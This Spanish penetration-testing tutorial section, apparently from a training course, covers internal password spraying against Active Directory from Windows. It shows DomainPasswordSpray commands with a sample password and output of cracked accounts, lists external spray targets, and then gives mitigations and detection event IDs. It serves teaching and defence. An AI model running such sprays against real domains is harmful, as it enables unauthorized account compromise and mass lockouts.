Internal Password Spraying - from Windows
Desde un punto de acceso en un host Windows unido a un dominio, la herramienta DomainPasswordSpray es muy eficaz. Si estamos autenticados en el dominio, la herramienta generará automáticamente una lista de usuarios de Active Directory, consultará la política de contraseñas del dominio y excluirá las cuentas de usuario en un solo intento de bloqueo. Al igual que cuando ejecutamos el ataque de rociado desde nuestro host Linux, también podemos proporcionar una lista de usuarios a la herramienta si estamos en un host Windows pero no estamos autenticados en el dominio. Podríamos encontrarnos en una situación en la que el cliente nos pida que realicemos pruebas desde un dispositivo Windows administrado en su red donde podamos instalar las herramientas. Quizás estemos físicamente en sus oficinas y queramos realizar pruebas desde una máquina virtual Windows, o podemos obtener una posición inicial mediante otro ataque, autenticarnos en un host del dominio y rociar contraseñas para intentar obtener las credenciales de una cuenta con más permisos en el dominio.
La herramienta dispone de varias opciones. Dado que el host está unido a un dominio, omitiremos la -UserListbandera y dejaremos que la herramienta genere una lista. Proporcionaremos la Passwordbandera y una única contraseña, y luego usaremos la -OutFilebandera para escribir la salida en un archivo para su uso posterior.
Uso de DomainPasswordSpray.ps1
PS C:\htb> Import-Module .\DomainPasswordSpray.ps1
PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 5 login attempts.
[*] Removing disabled users from list.
[*] There are 2923 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 2923 users gathered from the current user's domain
[*] The domain password policy observation window is set to minutes.
[*] Setting a minute wait in between sprays.
Confirm Password Spray
Are you sure you want to perform a password spray against 2923 accounts?
[Y] Yes [N] No [?] Help (default is "Y"): Y
[*] Password spraying has begun with 1 passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2923 users. Current time is 2:57 PM
[*] Writing successes to spray_success
[*] SUCCESS! User:sgage Password:Welcome1
[*] SUCCESS! User:tjohnson Password:Welcome1
[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to spray_successTambién podríamos usar Kerbrute para realizar los mismos pasos de enumeración de usuarios y pulverización que se mostraron en la sección anterior. La herramienta está disponible en el C:\Toolsdirectorio si desea ejecutar los mismos ejemplos desde el host de Windows proporcionado.
Mitigaciones
Se pueden tomar varias medidas para mitigar el riesgo de ataques de rociado de contraseñas. Si bien ninguna solución por sí sola previene el ataque por completo, un enfoque de defensa en profundidad dificultará enormemente los ataques de rociado de contraseñas.
Técnica
Descripción
Multi-factor Authentication
La autenticación multifactor puede reducir considerablemente el riesgo de ataques de rociado de contraseñas. Existen muchos tipos de autenticación multifactor, como las notificaciones push a dispositivos móviles, una contraseña de un solo uso (OTP) rotativa como Google Authenticator, una clave RSA o confirmaciones por mensaje de texto. Si bien esto puede impedir que un atacante acceda a una cuenta, ciertas implementaciones multifactor aún revelan si la combinación de nombre de usuario y contraseña es válida. Es posible reutilizar esta credencial contra otros servicios o aplicaciones expuestos. Es importante implementar soluciones multifactor en todos los portales externos.
Restricting Access
A menudo es posible iniciar sesión en aplicaciones con cualquier cuenta de usuario de dominio, incluso si el usuario no necesita acceder a ella como parte de su rol. De acuerdo con el principio de mínimo privilegio, el acceso a la aplicación debe restringirse a quienes lo necesiten.
Reducing Impact of Successful Exploitation
Una solución rápida es garantizar que los usuarios con privilegios tengan una cuenta independiente para cualquier actividad administrativa. Si es posible, también se deben implementar niveles de permisos específicos para cada aplicación. También se recomienda la segmentación de la red, ya que si un atacante queda aislado en una subred comprometida, esto puede ralentizar o detener por completo el movimiento lateral y provocar una mayor vulneración.
Password Hygiene
Educar a los usuarios sobre la selección de contraseñas difíciles de adivinar, como frases de contraseña, puede reducir significativamente la eficacia de un ataque de rociado de contraseñas. Además, usar un filtro de contraseñas para restringir palabras comunes del diccionario, nombres de meses y estaciones, y variaciones del nombre de la empresa dificultará considerablemente que un atacante elija una contraseña válida para los intentos de rociado.
Otras consideraciones
Es fundamental garantizar que la política de bloqueo de contraseñas de su dominio no aumente el riesgo de ataques de denegación de servicio. Si es muy restrictiva y requiere intervención administrativa para desbloquear cuentas manualmente, una aplicación de contraseñas descuidada podría bloquear muchas cuentas en poco tiempo.
Detección
Algunos indicadores de ataques externos de rociado de contraseñas incluyen muchos bloqueos de cuentas en un período corto, registros de servidores o aplicaciones que muestran muchos intentos de inicio de sesión con usuarios válidos o inexistentes, o muchas solicitudes en un período corto a una aplicación o URL específica.
En el registro de seguridad del controlador de dominio, la repetición del evento ID 4625: Una cuenta no pudo iniciar sesión durante un corto período de tiempo puede indicar un ataque de rociado de contraseñas. Las organizaciones deben tener reglas para correlacionar varios inicios de sesión fallidos dentro de un intervalo de tiempo determinado y así activar una alerta. Un atacante más astuto podría evitar el rociado de contraseñas SMB y, en su lugar, atacar LDAP. Las organizaciones también deben supervisar el evento ID 4771: Error en la preautenticación de Kerberos , que puede indicar un intento de rociado de contraseñas LDAP. Para ello, deberán habilitar el registro de Kerberos. Esta publicación detalla la investigación sobre la detección del rociado de contraseñas mediante el Registro de eventos de seguridad de Windows.
Con estas mitigaciones ajustadas con precisión y con el registro habilitado, una organización estará bien posicionada para detectar y defenderse contra ataques internos y externos de rociado de contraseñas.
Previsualización de contraseñas externas
Aunque no se aborda en este módulo, la pulverización de contraseñas también es un método común que utilizan los atacantes para intentar establecerse en internet. Hemos tenido mucho éxito con este método durante pruebas de penetración para acceder a datos confidenciales a través de buzones de correo electrónico o aplicaciones web, como sitios de intranet externos. Algunos objetivos comunes incluyen:
Microsoft 0365
Outlook Web Exchange
Acceso web a Exchange
Skype Empresarial
Servidor Lync
Portales de Servicios de Escritorio Remoto (RDS) de Microsoft
Portales de Citrix que utilizan autenticación AD
Implementaciones de VDI que utilizan autenticación de AD como VMware Horizon
Portales VPN (Citrix, SonicWall, OpenVPN, Fortinet, etc. que utilizan autenticación AD)
Aplicaciones web personalizadas que utilizan autenticación AD
Moviéndonos más profundo
Ahora que contamos con varios conjuntos de credenciales válidas, podemos comenzar a profundizar en el dominio mediante la enumeración de credenciales con diversas herramientas. Analizaremos diversas herramientas que se complementan entre sí para brindarnos la imagen más completa y precisa del entorno del dominio. Con esta información, buscaremos explorar el dominio de forma lateral y vertical para alcanzar el objetivo final de nuestra evaluación.
Last updated